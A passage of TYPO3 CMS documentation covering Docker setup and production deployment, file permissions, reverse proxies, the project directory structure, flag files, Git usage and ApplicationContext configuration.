If you see this message in the logs:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name...
you can safely ignore it.
Define setup parameters in docker-compose.yml
To automate setup, you must provide all required parameters via environment
variables. Add these to the web service in your docker-compose.yml:
If you previously ran this setup, you need to remove existing files and
volumes before rebuilding to trigger setup again:
docker compose down --volumes
rm -rf typo3conf/* typo3temp/* fileadmin/*
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Then rebuild and start the containers:
docker compose build --no-cache
docker compose up -d
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Verify that TYPO3 setup ran successfully
Check the logs to confirm that the setup script executed on startup:
docker logs -f compose-demo-typo3
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Expected output includes:
[INFO] No settings.php found, running 'typo3 setup'...
✓ Congratulations - TYPO3 Setup is done.
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If the settings.php file is already present, you’ll instead see:
[INFO] settings.php found, skipping setup.
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Log in to the TYPO3 backend
After the container is running and TYPO3 has been initialized, you can open the
TYPO3 backend in your browser:
http://localhost:8080/typo3/
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Log in using the credentials you provided in docker-compose.yml, for example:
Username: j.doe
Password: Password.1
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You should now see the TYPO3 backend dashboard and can start working on your site.
Using Docker in production
Warning
This section is experimental and under active development.
Content is incomplete and may change as best practices evolve.
Want to help improve this section? TYPO3 documentation contributions are
welcome! If you have deployment experience, examples, or corrections,
please consider submitting a pull request or opening an issue on GitHub.
TYPO3 can be run in containers in production, but doing so requires a solid
understanding of Docker and system administration.
Running TYPO3 in Docker is not plug-and-play. You must account for
infrastructure-related topics such as security, data persistence, and update
strategies.
Distributing TYPO3 Docker images during deployment
Warning
This section is experimental and under active development.
Content is incomplete and may change as best practices evolve.
Want to help improve this section? TYPO3 documentation contributions are
welcome! If you have deployment experience, examples, or corrections,
please consider submitting a pull request or opening an issue on GitHub.
After you have created your Docker image (typically by bundling your custom
site package, extensions, and configuration into the image) it then needs to
be distributed to the production server. This can be done via a container
registry or by manual transfer.
This guide focuses on secure image distribution,
which is an important step in the overall deployment process. Running a
container and configuring a production environment (e.g. web server,
database, volumes) are considered part of full deployment rather than
just distribution and are not covered here.
Option 1: Docker Hub (private repository)
Docker Hub provides private repositories where images can be pushed and pulled
without exposing them publicly.
To ensure your TYPO3 Docker image remains private, follow these steps:
Create a private repository using the Docker Hub web interface:
Set the name (e.g. your-image) and select "Private"
Log in to Docker Hub, tag and push your image
docker login
docker tag your-image yourusername/your-image:tag
docker push yourusername/your-image:tag
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Note: Free Docker Hub accounts allow only a limited number of private
repositories. A paid plan may be required for production use.
Option 2: GitHub Container Registry (GHCR)
If your TYPO3 project's source code is stored in a GitHub repository,
you can use the GitHub Container Registry (ghcr.io) to securely store
Docker images.
Steps to distribute a TYPO3 image via GHCR:
Authenticate using a GitHub personal access token.
# Tag your Docker image:
docker tag your-image ghcr.io/yourusername/your-image:tag
#Push the image
docker push ghcr.io/yourusername/your-image:tag
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Tip: GHCR integrates well with GitHub Actions for CI/CD pipelines.
Option 3: GitLab Container Registry
If your TYPO3 project's source code is managed in GitLab, you can use the
GitLab Container Registry to store Docker images alongside your project.
This registry is built into GitLab and integrates with GitLab CI/CD,
allowing you to build, tag, and push images during your deployment pipeline.
Steps to distribute a TYPO3 image via GitLab Registry:
# Authenticate with GitLab
docker login registry.gitlab.com
# Tag your image using the GitLab project namespace
docker tag your-image registry.gitlab.com/your-namespace/your-project/your-image:tag
# Push the image
docker push registry.gitlab.com/your-namespace/your-project/your-image:tag
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Note: You can manage image visibility and permissions through your GitLab
project settings. This approach is ideal for teams already using GitLab
as part of their development and deployment process.
Option 4: Self-hosted Docker registry
Running your own Docker registry gives you full control over where and how
images are stored and accessed.
# Start a local registry
docker run -d -p 5000:5000 --name registry registry:2
# Tag and push your image
docker tag your-image localhost:5000/your-image
docker push localhost:5000/your-image
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Note: For production use, configure SSL encryption and authentication.
Option 5: Cloud provider registries
If you are deploying TYPO3 to a major cloud provider, consider using their
managed container registries:
Amazon ECR (Elastic Container Registry)
Google Artifact Registry
Azure Container Registry
These registries provide high security, scalability, and tight integration
with their respective cloud services and IAM systems.
Summary: Choosing the right distribution method
TYPO3 Docker images must be securely transferred to the target environment
before they can be deployed and run. This guide outlines secure and
practical methods for distributing your TYPO3 image.
Choose the method that best fits your infrastructure, compliance needs,
and workflow. All the methods described here are compatible with TYPO3 projects
and can be part of modern DevOps pipelines.
Automate building and tagging of Docker images in CI/CD pipelines
It is common practice to build, tag, and distribute Docker images in a
CI/CD pipeline. The tools used for this (such as GitHub Actions and GitLab CI)
and the general principles are similar across platforms.
In the TYPO3 documentation project, we currently use a GitHub Actions workflow
to build and publish our Docker image to a public Docker Hub repository:
Are you using a different method for automated distribution of your Docker
image? Use the "Edit on GitHub" button to contribute your approach
to this documentation.
Database considerations for Docker on production
Warning
This section is experimental and under active development.
Content is incomplete and may change as best practices evolve.
Want to help improve this section? TYPO3 documentation contributions are
welcome! If you have deployment experience, examples, or corrections,
please consider submitting a pull request or opening an issue on GitHub.
TYPO3 requires a relational database in order to store content, configuration, and
extension data. When running TYPO3 in a Docker container on a server,
there are several database deployment options — each with different
levels of complexity and production readiness.
The table below provides a quick comparison. You can click on each setup
type to jump to a more detailed explanation.
Simple but fragile. Not recommended beyond test/demo use.
External or managed database service
You can connect your TYPO3 container to an external or managed database,
such as one provided by your hosting environment or an infrastructure
platform.
Benefits:
No need to manage the database container yourself
Professional-grade storage, backup, and monitoring
Excellent for production scalability and reliability
But remember:
Pass credentials securely using environment variables or secrets
Ensure network access is reliable and secure
This approach is ideal if you already have database infrastructure in place
or want to reduce operational complexity by offloading maintenance.
MariaDB/MySQL in separate container
Running the database in a separate container is a popular, flexible solution.
Containers provide modular services and work well with Docker Compose, Swarm, or
Kubernetes.
Important considerations:
Use Docker volumes for persistence
Ensure the TYPO3 container can reach the database on the network
A simple solution is to use SQLite and include the database file inside a
TYPO3 Docker container. This works for quick tests, demos, or very small-scale
sites.
Drawbacks:
No real persistence unless explicitly mounted
Fragile: data is lost on rebuild unless carefully managed
This section is experimental and under active development.
Content is incomplete and may change as best practices evolve.
Want to help improve this section? TYPO3 documentation contributions are
welcome! If you have deployment experience, examples, or corrections,
please consider submitting a pull request or opening an issue on GitHub.
TYPO3 running in Docker may behave differently in production environments
compared to local development. A common issue during deployment is
incorrect file permissions or ownership, particularly when using mounted
volumes.
This document describes how to handle permissions when deploying
TYPO3 in a Docker-based setup on a server.
All files under /var/www/html must be owned by www-data
Directories should have permissions of 755 (or 775 if group write
access is required)
Files should have permissions of 644
Writable directories include, in Classic mode:
/var/www/html (root folder) – TYPO3 may create FIRST_INSTALL here
/var/www/html/typo3temp/
/var/www/html/fileadmin/
/var/www/html/typo3conf/
Composer mode:
/var/www/html/public (document root folder) – TYPO3 may create FIRST_INSTALL here
/var/www/html/var/
/var/www/html/public/fileadmin/
/var/www/html/conf/
Note
755 is usually sufficient and preferable in production environments.
Use 775 only if the environment or volume setup requires group write
access.
How to check file permissions in TYPO3 Docker environments
Depending on the hosting setup, it may or may not be possible to verify or
fix permissions manually.
If SSH access to the container is available:
ls -ld /var/www/html
ls -l /var/www/html
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This allows inspection of ownership and write access for TYPO3 directories
such as typo3temp/, fileadmin/, and others.
If no shell access is available, contact the hosting provider:
Ask whether volumes are mounted read-only or owned by root
Confirm whether the web server is running as www-data
Request that the TYPO3 folders are writable by the web server user
In container-based platforms, incorrect volume mounts can prevent TYPO3 from
writing essential files. This may lead to HTTP 500 errors with no log output.
Symptoms of permission issues in TYPO3 Docker installations
HTTP 500 Internal Server Error
No output in Apache or PHP logs
Web installer does not load even if FIRST_INSTALL is present
TYPO3 CLI (./typo3/sysext/core/bin/typo3) works, but the frontend does not
TYPO3 fails to write cache or configuration files
Fixing ownership and permissions inside the TYPO3 Docker container
TYPO3 must be able to write to specific directories to operate correctly.
Incorrect ownership or permissions may cause the application to return
HTTP 500 errors or fail during setup.
This ensures that Apache and PHP-FPM can read and write all the required files
and folders.
If no shell access to the container is available
In environments without shell access to the container, such as shared or
managed hosting, there are two possible approaches:
Ensure correct ownership during the image build or deployment process.
Example Dockerfile instruction:
Dockerfile
RUN chown -R www-data:www-data /var/www/html
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Contact the hosting provider to request the following:
Set ownership of /var/www/html to www-data
Ensure write permissions (typically 755 for directories)
Note
It is technically possible to run a helper container to modify file
permissions if Docker CLI access is available, but this is rarely
feasible or recommended on production servers. It should only be used in
local development or advanced DevOps environments.
Preventing permission problems in production Docker environments
To prevent permission-related issues:
Mount volumes in a way that aligns ownership with the container’s web
server user (www-data)
In CI/CD pipelines, avoid generating files owned by root
Use a custom entrypoint.sh script to apply ownership and permissions
automatically during startup
Using a custom entrypoint to automatically set TYPO3 permissions
Permissions can be set during container startup by including a custom
entrypoint script in the Docker image.
Commands to debug permission issues in TYPO3 Docker containers
The following commands may help identify and resolve permission issues:
# Inspect file ownership and permissions
ls -l /var/www/html
# Check the user Apache is running as
ps aux | grep apache
# Verify PHP installation and modules
php -v
php -m
# Check the Apache error log
tail -f /var/log/apache2/error.log
# Create a test file to verify PHP via HTTPecho"<?php phpinfo();" > /var/www/html/info.php
# Confirm PHP is executed via HTTP
curl http://localhost/info.php
# Remove the file immediately after testing
rm /var/www/html/info.php
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Ensuring stable deployment through correct permissions
Correct file permissions are critical for TYPO3 to function properly in
Docker-based environments. Ensuring that files are owned by www-data and
that relevant directories are writable helps prevent unexpected behavior such
as blank pages or failed installations.
Reverse proxies in container-based production environments
Warning
This section is experimental and under active development.
Content is incomplete and may change as best practices evolve.
Want to help improve this section? TYPO3 documentation contributions are
welcome! If you have deployment experience, examples, or corrections,
please consider submitting a pull request or opening an issue on GitHub.
Container-based production environments frequently require reverse proxy
configurations for TYPO3 to run properly.
Containerized environments typically involve a dynamic or wide range of IP addresses,
making it impractical to rely on a single IP for reverse proxy configuration.
Refer to the documentation of the hosting company or to their support hotline
to find out the concrete ranges.
You can use the CIDR notation, for example 10.0.0.0/8 or a wildcard. If the
hosting provider can promise no range at all you can use wildcard *, be sure
this is safe for the hosting environment being used.
Note
Always test your configuration in a staging environment before deploying to
production to avoid disruptions.
Configure the reverse proxy settings in your custom Docker image
If you maintain the config/system/additional.php within your
project-specific docker image, you can use
Application Context
or environment variables to activate the reverse proxy settings on production
only. For example:
config/system/additional.php
<?phpuseTYPO3\CMS\Core\Core\Environment;
if (Environment::getContext()->isProduction()) {
$customChanges = [
// Database Credentials and other production settings'SYS' => [
'reverseProxySSL' => '192.0.2.1,192.168.0.0/16',
],
];
$GLOBALS['TYPO3_CONF_VARS'] = array_replace_recursive($GLOBALS['TYPO3_CONF_VARS'], (array)$customChanges);
}
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Configure the reverse proxy in a mounted volume
If you have mounted config/system/settings.php or a path above to a
persistent volume on the host you can edit this file directly.
Therefore you need to edit the config/system/settings.php or add a
config/system/additional.php for the reverse proxy settings.
The linux environment inside a container that is run on production is usually very
reduced. For example tools like nano and vim might not be installed.
You can however edit the config/system/additional.php locally and upload it via
SCP:
If your host supports this you can use SSH or SFTP to edit the file.
If your host does not support SSH directly into the container you can run a
container that allows you to edit files like
filebrowser/filebrowser
or run a one-time container job to adjust the settings like
linawolf/typo3-nexaa-reverse-proxy-copier
to override the config/system/additional.php. This container is
designed to copy reverse proxy settings into a live system and should be
used with caution.
Directory structure of a typical TYPO3 project
The typical directory structure of a TYPO3 installation differs fundamentally
between Composer mode and Classic mode. It can also vary depending on the TYPO3
version. Use the version switch to select the correct documentation version.
This structural difference remains even when deploying TYPO3 to a production
server without Composer, and without deploying composer.json or
composer.lock. To make matters more confusing, the presence of these
files does not guarantee that TYPO3 is running in Composer mode.
This info box in the Extension Manager confirms the installation is running
in Composer mode.
TYPO3 configuration directory. This directory
contains folder config/system/ for installation-wide configuration and
config/sites/ for the site configuration and
Site settings.
This path can be retrieved from the Environment API, see
getConfigPath().
packages/
If you installed TYPO3 using the base distribution composer create "typo3/cms-base-distribution"
this folder is automatically created and registered as repository in the the composer.json.
You can put your site package and other extensions to be installed locally here. Then you can just
install the extension with composer install myvendor/my-sitepackage.
If you did not use the base-distribution, create the directory and add it to your repositories
manually:
This folder contains all files that are publicly available. Your webserver's
web root must point here.
This folder contains the main entry script index.php created by Composer
and might contain publicly available files like a robots.txt and
files needed for the server configuration like a .htaccess.
If required, this directory can be renamed by setting extra > typo3/cms > web-dir
in the composer.json, for example to web:
This directory contains the following subdirectories:
public/_assets/
This directory includes symlinks to resources of extensions (stored in the
Resources/Public/ folder), as consequence of this and further structure
changes the folder typo3conf/ext/ is not created or used anymore.
So all files like CSS, JavaScript, icons, fonts, images, etc. of extensions
are not referenced anymore directly to the extension folders but to the
directory _assets/.
Note
TYPO3 v12 requires typo3/cms-composer-installers in version
5. Therefore the publicly available files provided by
extensions are now always referenced via this directory.
Tip
When creating an extension without a Resources/Public/ folder, the
corresponding _assets/ folder for that extension can not be symlinked
as the extension's Resources/Public/ folder does not exist. When you
create it later after the installation of the extension, run a
composer dumpautoload and the Resources/Public/ folder for
that extension is symlinked to _assets/.
Warning
The _assets/ directory is not meant to be manually changed. Also, it
is important for local development that all its subdirectories are symlinks
to the specific Composer packages. Do not synchronize this directory
from a production instance back to your development instance (only the other
way round). Thus, the whole _assets/ directory should always be removable and
can be re-created with proper contents via
composer dumpautoload.
This will create symlinks for all installed TYPO3 Composer packages containing public
assets.
If the _assets/ directory would not contain symlinks, any Composer update
would never refer to updated versions of any JavaScript and CSS assets
(including TYPO3 backend system extension), leading to incompatible code
being loaded and causing errors in both backend and frontend.
This is a directory in which editors store files. Typically images,
PDFs or video files appear in this directory and/or its subdirectories.
Note this is only the default editor's file storage. This directory
is handled via the FAL API internally, there may be
further storage locations configured outside of fileadmin/, even
pointing to different servers or using 3rd party digital asset management
systems.
This directory is meant for editors! Integrators should
not locate frontend website layout related files in here: Storing
HTML templates, logos, CSS and similar files used to build the website
layout in here is considered bad practice. Integrators should locate
and ship these files within a project specific extension.
public/typo3/
If
typo3/cms-install
is installed, this directory contains the PHP
file for accessing the install tool (public/typo3/install.php).
Changed in version 14.0
The TYPO3 backend entry point PHP file public/typo3/index.php has
been removed. The backend can be accessed via the Backend entry point.
public/typo3temp/
Directory for temporary files. It contains subdirectories (see below)
for temporary files of extensions and TYPO3 components.
Attention
Although it is a most common understanding in the TYPO3 world that
public/typo3temp/ can be removed at any time, it is considered
bad practice to remove the whole folder. Developers should selectively
remove folders relevant to the changes made.
public/typo3temp/assets/
The directory typo3temp/assets/ contains temporary files that should be
public available. This includes generated images and compressed CSS and
JavaScript files.
var/
Directory for temporary files that contains private files (e.g.
cache and logs files) and should not be publicly available.
Attention
Although it is a most common understanding in the TYPO3 world that
var/ can be removed at any time, it is considered
bad practice to remove the whole folder. Developers should selectively
remove folders relevant to the changes made.
var/cache/
This directory contains internal files needed for the cache.
var/labels/
The directory var/labels/ is for extension
localizations. It contains all downloaded translation files.
This path can be retrieved from the Environment API, see
getLabelsPath().
var/log/
This directory contains log files like the
TYPO3 log, the deprecations log and logs generated by extensions.
vendor/
In this directory, which lies outside of
the webroot, all extensions (system, third-party and custom) are installed
as Composer packages.
The directory contains folders for each required vendor and inside each
vendor directory there is a folder with the different project names.
For example the system extension core has the complete package name
typo3/cms-core and will therefore be installed into the directory
vendor/typo3/cms-core. The extension news, package name
georgringer/news will be installed into the folder
vendor/georgringer/news.
Never put or symlink your extensions manually into this directory as it is
managed by Composer and any manual changes are getting lost,
for example on deployment. Local extensions and sitepackages
should be kept in a separate folder outside the web root, for example
packages.
Upon installation , Composer creates a symlink from packages to
vendor/myvendor/my-extension.
Classic mode installations: Directory structure
The structure below describes the directory layout of a Classic TYPO3 installation
(without Composer), sometimes also called a legacy installation.
If the "Upload Extension" button is visible, TYPO3 is running in Classic mode.
This is a directory in which editors store files.
It is used for the same files like
public/fileadmin/ in the Composer-based directory
structure.
typo3/
Among others, this directory contains the PHP
file for accessing the install tool (public/typo3/install.php).
Changed in version 14.0
The TYPO3 backend entry point PHP file typo3/index.php has
been removed. The backend can be accessed via the Backend entry point.
typo3/sysext/
All system extensions, supplied by the TYPO3 Core, are stored here.
typo3_src/
It is a common practice in Classic mode installations to use symlinks to quickly
change between TYPO3 Core versions. In many installations you will find a symlink or folder
called typo3_src that contains the folders typo3/,
and vendor/ and the file index.php. In this case,
those directories and files only symlink to typo3_src. This way
the Core can be updated quickly by changing the symlink.
Assuming your webroot is a directory called public you could have
the following symlink structure:
typo3_src-12.0.0
typo3
vendor
index.php
public
fileadmin
typo3 -> typo3_src/typo3
typo3_src -> ../typo3_src-12.0.0
typo3conf
typo3temp
vendor -> typo3_src/vendor
index.php -> typo3_src/index.php
typo3conf/
This path can be retrieved from the Environment API, see
getConfigPath().
typo3conf/autoload/
Contains autoloading information.
The files are updated each time an extension is installed via the
Extension Manager.
typo3conf/ext/
Directory for third-party and custom TYPO3 extensions. Each subdirectory
contains one extension. The name of each directory must be the extension
key or the extension will not be loaded directly. You can put or symlink
custom extensions and sitepackages here.
This path can be retrieved from the Environment API, see
getConfigPath().
typo3temp/
Directory for temporary files. It contains subdirectories (see below)
for temporary files of extensions and TYPO3 components.
Attention
Although it is a most common understanding in the TYPO3 world that
typo3temp/ can be removed at any time, it is considered
bad practice to remove the whole folder. Developers should selectively
remove folders relevant to the changes made.
typo3temp/assets/
Directory for temporary files that should be publicly available
(e.g. generated images).
typo3temp/var/
Directory for temporary files that should not be accessed through the web
(cache, log, etc).
vendor/
This directory contains third-party packages that are required by the
TYPO3 Core.
Flag files (ENABLE_INSTALL_TOOL, LOCK_BACKEND, ...)
TYPO3 uses a set of special files known as flag files or indicator files to
control and manage low-level configurations, behaviors, and security settings
of the system. These files act as triggers that enable or disable specific
features or functionalities in TYPO3, often without requiring direct
modifications to the core configuration files.
Flag files are typically placed in specific locations within the TYPO3 file
system and are usually named in a way that reflects their purpose.
Below is a list of commonly used TYPO3 flag files, along with explanations of
their functions and typical use cases.
The LOCK_BACKEND file is now expected in var/lock/LOCK_BACKEND (Composer mode) or
config/LOCK_BACKEND (Classic mode) unless otherwise defined in
$GLOBALS['TYPO3_CONF_VARS']['BE']['lockBackendFile'] .
If the file exists in the location specified by
$GLOBALS['TYPO3_CONF_VARS']['BE']['lockBackendFile']
or the default and is empty, an error message is displayed when you try to log into
the backend:
Warning
Backend access by browser is locked for maintenance. Remove lock by
removing the file "var/lock/LOCK_BACKEND" or use CLI-scripts.
Console commands to lock/unlock the backend
# Lock the TYPO3 Backend for everyone including administrators
vendor/bin/typo3 backend:lock
# Unlock the TYPO3 Backend after it has been locked
vendor/bin/typo3 backend:unlock
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This file locks access to the TYPO3 backend. When present, it prevents
users from logging into the backend, often used during maintenance or
for security reasons.
If the file contains an URI, users will be forwarded to that URI when
they try to lock into the backend.
If you want locked backend state to persist between deployments, ensure that the
used directory (var/lock by default) is shared between deployment releases.
The backend locking functionality is now contained in a distinct service class
\TYPO3\CMS\Backend\Authentication\BackendLocker to allow future flexibility.
Use Case: Temporarily restrict backend access to prevent unauthorized
changes or when performing critical updates.
public/FIRST_INSTALL
FIRST_INSTALL
Path (Composer)
public/FIRST_INSTALL
Path (Classic)
<webroot>/FIRST_INSTALL
Command
vendor/bin/typo3 setup
This file initiates the TYPO3 installation process. If the file exists,
TYPO3 directs the user to the installation wizard.
Use Case: Automatically initiate the installation process on a
fresh TYPO3 setup.
There is also a console command available to do the first installation:
Console command for first install
# Lock the TYPO3 Backend for everyone including administrators
vendor/bin/typo3 setup
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config/ENABLE_INSTALL_TOOL
ENABLE_INSTALL_TOOL
Path (Composer)
config/ENABLE_INSTALL_TOOL
Path (Classic)
typo3conf/ENABLE_INSTALL_TOOL
Command
None
Changed in version 12.2
The location of this file has been changed for Composer-based
installations from typo3conf/ENABLE_INSTALL_TOOL to
config/ENABLE_INSTALL_TOOL or
var/transient/ENABLE_INSTALL_TOOL
The site folder (config/sites/my-site in Composer-based installations,
typo3conf/sites/my-site in Classic mode installations) must contain the
following file:
config/sites/my-site/config.yaml
config.yaml
Scope
site
Path (Composer)
config/sites/my-site/config.yaml
Path (Classic)
typo3conf/sites/my-site/config.yaml
Contains the site configuration. See chapter
Site handling
for details.
This file stores all changes that where made to the site settings using the
backend module Site Management > Settings. It overrides the
settings from all included site sets, including the set of the site package.
Using Git for version control in TYPO3 projects helps ensure consistent
collaboration, transparent change tracking, and safer deployments. It allows
teams to keep a complete history of changes, isolate new features, and revert
to a known state when needed.
Even if you are working alone — as a freelancer or solo developer — Git is
highly valuable. It acts as a time machine for your project, allowing you to:
Experiment with confidence by branching and reverting
Document and understand your progress over time
Sync work between devices or back it up to the cloud
Undo mistakes and recover lost files easily
Share code with clients, agencies, or collaborators when needed
Whether you are building a quick prototype or maintaining a long-term
client project, version control with Git adds safety, flexibility, and
professionalism to your workflow.
This step-by-step guide explains how to add a new or existing TYPO3 project
to a Git repository. It includes instructions for safely setting up a
.gitignore
and avoiding the accidental inclusion of credentials or
environment-specific files.
The following steps apply to all TYPO3 projects, no matter the installation
type:
Make your initial commit, this adds the files to your local Git:
git commit -m "Initial commit: My TYPO3 project"
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Use Git status to see if there are untracked files that are not added to the Git:
git status
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If you are using a Git hosting platforms (GitHub, GitLab, ...)
you can create a remote repository on that plattform. Then add the Git SSH remote
and push your changes to that repository.
git remote add origin git@example.com:user/project.git
git push -u origin main
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Prerequisites to use Git
First test if Git is installed on your computer:
Open your terminal and run:
git --version
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If you see a message like command not found, you need to install Git.
If Git is missing, follow the installation guide for your system:
macOS: Install via Homebrew: brew install git
Linux: Use your package manager, for example sudo apt install git
Open PowerShell or Command Prompt and run:
git --version
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If you get an error like 'git' is not recognized, you need to
install Git.
If you want to use Git across multiple computers (e.g., your laptop and a web
server), or collaborate with a team, you should choose a
Git hosting platform (GitHub, GitLab, ...)
and create an account there.
To connect to the remote repository via SSH, you need to authenticate with
your hosting provider — typically by creating and registering an SSH key.
A Git hosting platform is a service that stores your Git repositories
remotely and allows collaboration with others. It also provides tools such
as web interfaces, access control, issue tracking, continuous integration
(CI), and backups.
Using a hosting platform is recommended even for solo projects, as it makes
it easier to:
Share your code with others (team members, clients, ...)
Back up your work to the cloud
Track issues, bugs, and tasks
Set up CI/CD pipelines for automated testing and deployment
All Git hosting platforms are supported. The following are commonly used:
GitHub – Popular for open-source and private projects
Docker and CI/CD config – .gitlab-ci.yml, docker-compose.yml, ...
Files needed for testing like .php-cs-fixer.dist.php,
phpstan.neon, runTests.sh etc.
Build folders containing sources for asset building like scss sources,
typescript sources, etc. never commit
node_modules, these files are
managed by gulp or vite.
Files used during local development like .editorconfig, Makefile
and ddev/config.yaml
Additional files may be versioned depending on your project requirements and
installation method:
config/system/additional.php – Depending on how this file
should be managed to override server settings.
public/.htaccess
public/robots.txt
typo3conf/system/additional.php – Depending on how this file
should be managed to override server settings.
.htaccess
robots.txt
Information on which versions exactly have been installed - or:
index.php
typo3conf/ext/ – All installed extensions (So the project
can be fully restored from the Git repository without needing
external packages or configuration.)
typo3conf/l10n/ – If you also want to keep automatic
localizations under version control
typo3conf/PackageStates.php – To determine which of the
loaded extensions are installed
typo3/sysext/ – The TYPO3 Core (So a project can
be rebuild in from the Git alone)
typo3temp/ – Temporary cache files, sessions, and lock files, managed by TYPO3
Example .gitignore
A .gitignore file tells Git which files and folders to ignore when committing
to the repository. This helps prevent unnecessary or sensitive files (like cache,
uploads, or environment configs) from being tracked.
The .gitignore file should be placed in the root directory of your TYPO3
project (usually alongside composer.json or typo3conf/). Its contents
can vary depending on whether you use a Composer-based setup or a
classic (non-Composer) structure.
For Composer-based projects, you can use the .gitignore from the official
GitLab TYPO3 Project Template as a solid starting point.
project_root/.gitignore
# TYPO3 system folders/var//vendor//public/typo3temp//public/uploads//public/fileadmin/# Environment and secrets.env# Node.js build tools/node_modules//dist/# IDE and editor settings.idea/.vscode/*.swp# OS metadata.DS_StoreThumbs.db
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See also
The official GitLab TYPO3 Project Template includes a preconfigured
.gitignore file that covers most Composer-based setups. You can view
it here:
# TYPO3 Core and source directory/typo3_src/# Temporary files and caches/typo3temp//fileadmin/# IDE/editor folders/.idea//.vscode/*.swp# OS-specific files.DS_StoreThumbs.dbehthumbs.dbDesktop.ini# Node.js or frontend build artifacts (if used)/node_modules//dist//build/# Environment.env
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Note
Some development tools such as DDEV
may automatically create .gitignore files inside specific
subdirectories (e.g., public/, .ddev/, or vendor/). These are
usually intended to prevent tool-specific or temporary files from
being committed. You can customize or remove them if needed, but
be aware of their purpose before doing so.
Avoid committing credentials to Git
Warning
Be very careful not to commit sensitive information such as passwords,
API keys, access tokens, or database credentials to your Git repository.
Examples of files that often contain secrets:
.env – Environment-specific variables
auth.json – Composer credentials
config/system/settings.php – TYPO3 system-level configuration;
may include database credentials, encryption key, install tool password,
and global extension settings.
config/sites/some_site/settings.yaml – Site-level configuration
for individual extensions (for example CRM, analytics, etc.); can
contain site-specific tokens or secrets.
Best practices to avoid accidentally committing credentials
Add secret files to your .gitignore before running git add
Use environment variables instead of hardcoded credentials
Split config files: version the structure (e.g., settings.php) but load secrets
from untracked overrides (for example credentials.php)
Use .env.example to document required environment variables, and keep the real
.env excluded
You can also use an extension like
helhum/dotenv-connector
to
manage secrets via environment variables.
Credentials in the settings.php or additional.php
For example, you could keep all credentials in a file called
config/system/credentials.php and include this file into your
config/system/additional.php if present:
It is also possible that the site configurationSite setting
files contain credentials (for example Solr credentials). You can use
environment variables directly in YAML files:
In outdated TYPO3 versions, error messages were displayed unfiltered in the
frontend and often revealed security-relevant data such as database access,
e-mail addresses, SMTP access and similar to the public. The so-called
ApplicationContext was introduced to prevent this. These contexts can
pre-configure TYPO3 to a certain extent and can also be queried again at
various points such as the site configuration, e.g. to provoke a different
base variants.
TYPO3 is delivered with 3 different modes, which affect the behaviour of TYPO3
as follows:
Production
Only errors are logged.
There is no logging of obsolete (deprecated) function calls.
In the event of an error, the frontend only displays:
Oops, an error occurred! Code: {code}.
The Dependency injection cache can not be
cleared by Clear All Cache button, and has to be emptied
using the Flush Cache button in the install tool or via
CLI command
cache:flush.
Calling up the install tool menu items requires the additional entry
of a password ("sudo mode").
Only admins with system maintainer authorisation can see the
install tool menu items in the TYPO3 backend.
This mode offers the most performance and is most secure.
Development
Errors and warnings are logged.
Obsolete (deprecated) function calls are logged in an additional
log file.
The error appears in the frontend with a note on where and in which
file it occurred.
In the backend, the corresponding table field is also displayed in
square brackets after each label when editing data records.
The Clear All Cache button at the top right also clears
the Dependency injection cache.
The menu items in the backend for the install tool no longer require an
additional password entry.
Admins without system maintainer authorisation can also see the menu
items for the install tool.
Testing
In this special mode, caching
for Class Loading is switched off or is
only valid for one request.
In the
\TYPO3\CMS\Core\Core\SystemEnvironmentBuilder , TYPO3 reads
different environment variables to determine the desired ApplicationContext.
The following order applies from high priority to no priority:
Environment variable:
TYPO3_CONTEXT
Environment variable:
REDIRECT_TYPO3_CONTEXT
Environment variable:
HTTP_TYPO3_CONTEXT
ApplicationContext is set to Production
Set the ApplicationContext
The ApplicationContext is read very early in TYPO3. Even before the actual
TYPO3 bootstrap process. This means that even if you set the
ApplicationContext in additional.php (formerly
AdditionalConfiguration.php), it is already too late.
It is best to set the ApplicationContext as an environment variable in the
server configuration. Alternatively, you need a solution to set the environment
variable at PHP level before the actual TYPO3 call.
Apache
In the vhost configuration as well as in the .htaccess, the
ApplicationContext can be set as follows:
[web root]/.htaccess
SetEnv TYPO3_CONTEXT Development
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Attention
Some hosts may prevent the setting of environment variables using
.htaccess. In this case, you will have to find another solution. Have a
look at the following examples below.
Nginx
/etc/nginx/nginx.conf
fastcgi_param TYPO3_CONTEXT Development;
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.env (Composer only)
It is possible to import .env files into the root directory of your project.
All contained values are then made available as environment variables. The
basis for this is the Symfony .env loader
symfony/dotenv
. However,
this package requires a few method calls for initialisation. You can either
build this yourself or use the
HelHum .env connector
helhum/dotenv-connector
. This will
initialise the Symfony package for you.
Installation
composer req helhum/dotenv-connector
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.env
Please make sure not to insert any spaces before and after the =
[web root]/.env
TYPO3_CONTEXT=Development/Dev1
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AutoLoader (Composer only)
If your TYPO3 was set up using Composer, you can misuse the
Composer files
property to load a specific file with each request before all other files.
In php.ini there is the option of always loading a specific file first for
each request. The property is
auto_prepend_file <https://www.php.net/manual/en/ini.core.php#ini.auto-prepend-file>.
Enter the absolute path to a php file with the following content in your
hosting package.
<?php
putenv('TYPO3_CONTEXT=Development');
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Attention
Some hosters do not offer the option of setting this value in their
configuration menus. If the hoster uses Plesk, you can try to make this
setting in a user.ini in the document root. Alternatively, try
.user.ini, php.ini and also .php.ini. If in doubt, ask the hoster
what alternative options are available.
index.php
Please use this version as a last resort if none of the previous versions have
worked or if your hoster has restricted you enormously. This solution only
works for the frontend. This means that the ApplicationContext displayed in
the TYPO3 backend may differ from the ApplicationContext actually used in
the frontend.
Create your own index.php in the document root directory and then load the
actual index.php from there.
The ApplicationContext can be subdivided further using /. Here are a
few examples:
Development/Dev1
Development/Local/Ddev
Testing/UnitTest
Production/1und1
You can use this subdivision to realise different acceptance domains for
customers. Using the option of composer files described above, you can create
a file to set the ApplicationContext individually depending on the
domain name. In the site configuration, you can query the ApplicationContext
again and use it to set a different base URI using the
base variants:
Development/Dev1 -> dev1.example.com
Development/Dev2 -> dev2.example.com
Development/Dev3 -> dev3.example.com
Development/Dev4 -> dev4.example.com
Development/Dev5 -> dev5.example.com
Root ApplicationContext
It doesn't matter whether you are working with just one ApplicationContext
or with an ApplicationContext divided several times by a slash (/). The
first part is always the root ApplicationContext and must always be either
Production, Development or Testing, otherwise the isProduction,
isDevelopment and isTesting methods will not work.
Parent ApplicationContext
This section only applies if you have divided the ApplicationContext into
several sections using slashes (/). The entire remaining value after the
first slash is used to instantiate a new ApplicationContext. The so-called
parent ApplicationContext. Here you can see how the context is nested:
ApplicationContext: Development/Local/Ddev/Dev2
Root ApplicationContext: Development
Parent ApplicationContext: Local/Ddev/Dev2
Root ApplicationContext: Local
Parent ApplicationContext: Ddev/Dev2
